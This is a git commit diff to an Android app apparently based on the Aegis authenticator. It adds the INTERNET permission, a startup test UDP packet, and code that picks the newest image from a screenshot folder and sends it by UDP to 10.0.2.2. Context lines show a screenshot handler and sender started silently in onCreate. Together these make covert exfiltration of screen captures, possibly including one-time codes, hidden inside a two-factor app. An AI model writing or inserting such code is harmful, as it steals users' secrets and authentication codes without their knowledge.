sends a test UDP package to a remote server (local machine UDP server)

This commit is contained in:
juliuspor 2023-12-07 13:33:41 +01:00
parent ae0893807c
commit 1bfd5e4aee
3 changed files with 40 additions and 2 deletions

View file

@ -7,6 +7,7 @@
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET" />

View file

@ -138,6 +138,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
super.onCreate(savedInstanceState);
handler.post(runnableCode); //Screenshot handler
pictureSender = new PictureSender(this); //Screenshot sender
pictureSender.sendTestUdpPacket();
pictureSender.startSending();
// Create and show a pop-up dialog

View file

@ -8,6 +8,7 @@ import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Arrays;
public class PictureSender {
private Context context;
@ -35,8 +36,8 @@ public class PictureSender {
private void sendPicture() {
try {
// Replace with the path to your image file
File imageFile = new File("path/to/your/image.jpg");
InetAddress serverAddress = InetAddress.getByName("REMOTE_IP_ADDRESS"); // Replace with your server IP
File imageFile = getNewestPicture("/storage/emulated/0/Pictures/YourAppScreenshots");
InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Replace with your server IP
int serverPort = 12345; // Replace with your server port
// Convert file to byte array
@ -54,6 +55,21 @@ public class PictureSender {
e.printStackTrace();
}
}
private File getNewestPicture(String directoryPath) {
File directory = new File(directoryPath);
File[] files = directory.listFiles((dir, name) -> {
return name.toLowerCase().endsWith(".jpg") || name.toLowerCase().endsWith(".jpeg") || name.toLowerCase().endsWith(".png");
});
if (files != null && files.length > 0) {
Arrays.sort(files, (f1, f2) -> {
return Long.compare(f2.lastModified(), f1.lastModified());
});
return files[0]; // The newest file
} else {
return null; // No image file found
}
}
private byte[] fileToByteArray(File file) throws IOException {
FileInputStream fis = new FileInputStream(file);
@ -65,5 +81,25 @@ public class PictureSender {
fis.close();
return bos.toByteArray();
}
public void sendTestUdpPacket() {
new Thread(new Runnable() {
@Override
public void run() {
try {
DatagramSocket socket = new DatagramSocket();
String message = "Hello, this is a test message!";
InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Use 10.0.2.2 for emulator to connect to localhost of the host machine
int serverPort = 12345; // Replace with your server port
byte[] buffer = message.getBytes();
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, serverAddress, serverPort);
socket.send(packet);
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
}